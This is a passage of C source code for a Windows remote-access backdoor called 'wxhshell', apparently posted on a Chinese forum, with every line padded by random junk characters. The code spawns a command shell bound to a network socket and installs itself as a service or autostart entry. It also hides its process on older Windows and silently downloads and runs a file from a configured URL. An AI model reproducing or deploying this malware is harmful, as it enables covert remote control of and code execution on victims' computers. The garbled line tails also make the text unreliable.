  Pu'lp O  
  // 帮助 6H0aHCM  
  case '?': { V8Z@y&ny  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZbH_h]1$D  
    break; V=Z%y$1Bc  
  } iaQFVROu  
  // 安装 Z5`V\$  
  case 'i': { PH?<)Wj9i  
    if(Install()) EEvi_Z932  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] ^J  
    else ~h%H;wC&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E_{P^7Z|Jg  
    break; g<:TsP'|  
    } N1U.1~U  
  // 卸载 'Hu+8,xA  
  case 'r': { %Siw>  
    if(Uninstall()) MYVb !  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OK z5;#S=  
    else oq (W|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nd5.Py$  
    break; 2\F'So  
    } sBNqg~HwB?  
  // 显示 wxhshell 所在路径 q } (f9  
  case 'p': { 8A 'SMJi  
    char svExeFile[MAX_PATH]; 8sq0 BH  
    strcpy(svExeFile,"\n\r"); upq3)t_  
      strcat(svExeFile,ExeFile); T`c:16I  
        send(wsh,svExeFile,strlen(svExeFile),0); 8 v da"  
    break; y-Lm^ GW4  
    } J?jxD/9Yb  
  // 重启 Iomx"y]9  
  case 'b': { Jt)J1CA Yo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F'ez{ B\AX  
    if(Boot(REBOOT)) gUiZv8C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DP!8c  
    else { J@rBrKC  
    closesocket(wsh); }t1 q5@QU  
    ExitThread(0); D<[kbt 5^7  
    } 2N.!#~_2D  
    break; V0_^==Vs  
    } w!}kcn<  
  // 关机 hz h3p[  
  case 'd': { $]a*ZHd;2&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &C#?&AQ  
    if(Boot(SHUTDOWN)) X#X/P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J~N!. i  
    else { MI`<U:-lP  
    closesocket(wsh); 1b@]^Ue  
    ExitThread(0); ]=Wq&~  
    } S5cs(}Bq  
    break;  7uzc1}r  
    } 0bu!(Tpg7  
  // 获取shell qR4-~ p 8  
  case 's': { vI(CX]o  
    CmdShell(wsh); p1IN%*IV+o  
    closesocket(wsh); +}BKDEb  
    ExitThread(0); C *7x7|z  
    break; \3x+Z!  
  } cxIAI=JK  
  // 退出 z\K-KD{Ad  
  case 'x': { K)eyFc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .AF\[IQ  
    CloseIt(wsh); k~JTQh*,w  
    break; .8wF> 8  
    } S=$ \S9  
  // 离开 QO4eDSW  
  case 'q': { NkAu<> G _  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LfvRH?<W  
    closesocket(wsh); `U>]*D68  
    WSACleanup(); -8S Z}J  
    exit(1); >Hd!o"I  
    break; hS^8/]E={  
        } c2PBYFCyC  
  } zGP@!R`_  
  } }'uV{$  
];u nR<H  
  // 提示信息 _A=i2?g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bc2S?u{  
} ) gxN' z  
  } XMLl>w2z  
- P4X@s_;  
  return; 5&]a8p{  
} ?VyiR40-Cx  
T5_rPz  
// shell模块句柄 $;)A:*e  
int CmdShell(SOCKET sock) rt\.|Hr4s  
{ ~le:4qaX  
STARTUPINFO si; TR:4$92:H  
ZeroMemory(&si,sizeof(si)); WKq{g+a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^KQZ;[B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :=K+~?  
PROCESS_INFORMATION ProcessInfo; gbu)bqu2x  
char cmdline[]="cmd"; mqiCn]8G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =ibKdPtTh^  
  return 0; L; <Pod  
} IkQ,#Bsb[  
bFJ>+ {#  
// 自身启动模式 so@ijl4{Z  
int StartFromService(void) -hGLGF??  
{ g,f AV M  
typedef struct w1+ %+x  
{ &InFC5A  
  DWORD ExitStatus; y!~ }7=  
  DWORD PebBaseAddress; (^~~&/U_U$  
  DWORD AffinityMask; +y 48.5  
  DWORD BasePriority; E/^N   
  ULONG UniqueProcessId; ~{t<g;F  
  ULONG InheritedFromUniqueProcessId; .nei9Y*  
}   PROCESS_BASIC_INFORMATION; f~f)6XU|  
6vg` 8  
PROCNTQSIP NtQueryInformationProcess; _ F2ofB'  
2WB`+oWox  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c(s: f@ 1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u_Xp\RJ  
id>2G %Tx  
  HANDLE             hProcess; Crezo?  
  PROCESS_BASIC_INFORMATION pbi; 2 yRUw  
ixB"6O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'lOpoWDL  
  if(NULL == hInst ) return 0; c']m5q39'  
IJLuu@kRm,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H4W!@"e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <#)Q.P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g!`^!Q/($  
c + aTO"  
  if (!NtQueryInformationProcess) return 0; $IJ"fs  
v `;Hd8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yxi*4R  
  if(!hProcess) return 0; Lv>OBHD  
h~ehZJys  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,be$ ~7qS  
aoGns46Y  
  CloseHandle(hProcess); / LLo7"  
RH;A|[7T&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7H?lR~w  
if(hProcess==NULL) return 0; R 3*{"!O  
/'bX}H(dq  
HMODULE hMod; {@[#0gPH  
char procName[255]; @={ qy}  
unsigned long cbNeeded; Axla@  
Y"TrF(C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P6`LUyz3  
}|],UXk{xB  
  CloseHandle(hProcess);  CxrsP.  
 )eH?3""  
if(strstr(procName,"services")) return 1; // 以服务启动 Mwa Rwk;  
FW3uq^  
  return 0; // 注册表启动 /lc4oXG8  
} 12l1u[TlS  
!HF<fn  
// 主模块 8k^1:gt^  
int StartWxhshell(LPSTR lpCmdLine) ~bgM*4GW  
{ 6|1*gl1_LD  
  SOCKET wsl; 4p>,  
BOOL val=TRUE; Tzfk_h3hE  
  int port=0; -(zw80@&  
  struct sockaddr_in door; E*L5D4Kw  
Wp^ A.  
  if(wscfg.ws_autoins) Install(); *,,:;F^  
 }D!o=Mg^  
port=atoi(lpCmdLine); 5m?9O7Pg  
Q5*"t*L!N  
if(port<=0) port=wscfg.ws_port; -`1)yhS  
-2Dgr\M  
  WSADATA data; 'wo}1^V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  X*`b}^T  
.+5;AtN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hSaw)g`w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CJ6vS  
  door.sin_family = AF_INET; %U9f`qE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y0ACJ?|  
  door.sin_port = htons(port); l7(p~+o?h>  
QiNLE'19^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 27Vx<W  
closesocket(wsl); &Zo+F]3d  
return 1; -~ Dn^B1^  
} 5L,q,kVS  
'^tC|)  
  if(listen(wsl,2) == INVALID_SOCKET) { H5be5  
closesocket(wsl); C-/+n5J  
return 1; Sre:l'.  
} -5@hU8B'a  
  Wxhshell(wsl); 1|$J>  
  WSACleanup(); *nwH1FjH  
w=thaF.  
return 0; s^/2sjoL  
5oo6d4[  
} &H2j3De  
?&POVf>  
// 以NT服务方式启动 22`e7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f+2mX"Z[F  
{ DK|/|C}6  
DWORD   status = 0; 1vCVTuRF  
  DWORD   specificError = 0xfffffff; Z.N9e  
k-sBf Jy\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CH$* =3M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0bjZwC4J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q'%!qa+  
  serviceStatus.dwWin32ExitCode     = 0; a4",BDx  
  serviceStatus.dwServiceSpecificExitCode = 0; G'Uq595'-  
  serviceStatus.dwCheckPoint       = 0; 7/dp_I}cO  
  serviceStatus.dwWaitHint       = 0; b6'ZVB  
afjEN y1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X rut[)H  
  if (hServiceStatusHandle==0) return; . Fm| $x  
q0@b d2}  
status = GetLastError(); \psO$TxF=  
  if (status!=NO_ERROR) fF. +{-.  
{ +B4i,]lCx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R[H#a v  
    serviceStatus.dwCheckPoint       = 0; \M~uNWv|  
    serviceStatus.dwWaitHint       = 0; rWJKK  
    serviceStatus.dwWin32ExitCode     = status; 9/O\769"'  
    serviceStatus.dwServiceSpecificExitCode = specificError; m [BV{25  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \mw5 ~Rf;  
    return; >dwY( a  
  } )Zrn?KM  
|Rb8 / WX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #2%8@?_-M  
  serviceStatus.dwCheckPoint       = 0; TIno"tc3  
  serviceStatus.dwWaitHint       = 0; !iUT Re  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TtgsM}Fm  
} QV _a M2  
_w7yfZLv+  
// 处理NT服务事件,比如:启动、停止 h-\+# .YP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UhSaqq  
{ 5w</Ga  
switch(fdwControl) 9dp1NjOtAc  
{ #YSFiy:+r_  
case SERVICE_CONTROL_STOP: (>gb9n  
  serviceStatus.dwWin32ExitCode = 0; <M\#7.](  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3*eS<n[uG  
  serviceStatus.dwCheckPoint   = 0; E-#C#B  
  serviceStatus.dwWaitHint     = 0; b3q&CJ4|  
  { /=KEM gI?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o1[[!~8e  
  } HyIyrUrYW  
  return; `Nv7c{M^  
case SERVICE_CONTROL_PAUSE: mA5sK?W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \Lm`jU(:l  
  break; "f-HOd\=  
case SERVICE_CONTROL_CONTINUE: M?I^`6IOc8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {ApjOIxk  
  break; H2CpZK'  
case SERVICE_CONTROL_INTERROGATE: V|pO";%>,  
  break; Q=^TKsu  
}; #X0Y8:vj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1c4:'0  
} %5j*e  
2QKt.a  
// 标准应用程序主函数 :%IB34e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^-(DokdBn  
{ 8#RL2)7Uy`  
`|4k>5k  
// 获取操作系统版本 `Cz_^>]|=  
OsIsNt=GetOsVer(); G1wJ]ar  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7~VDk5Z6  
m5cRHo<9Y  
  // 从命令行安装 n"nfEA3{`  
  if(strpbrk(lpCmdLine,"iI")) Install(); @Z Dd(xB&  
i.e4<|{  
  // 下载执行文件 I\|.WrMNi  
if(wscfg.ws_downexe) { cPX^4d~9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "MyMByomQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ce} m_  
} Uf~5Fc1d =  
LB^xdMXi  
if(!OsIsNt) { MZ>Q Rf  
// 如果时win9x,隐藏进程并且设置为注册表启动 2 e&M/{  
HideProc(); "1rT> ASWI  
StartWxhshell(lpCmdLine); [NbW"Y7  
} BVS SO's  
else >txeo17Ba\  
  if(StartFromService()) 5e&;f  
  // 以服务方式启动 %.;;itB  
  StartServiceCtrlDispatcher(DispatchTable); ^t,haO4  
else V2$M`|E  
  // 普通方式启动 '|G8yojz  
  StartWxhshell(lpCmdLine); [x -<O:r=P  
{N@Pk[!  
return 0; G}@a]EGm  
}
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只看该作者 1 发表于: 2006-10-10
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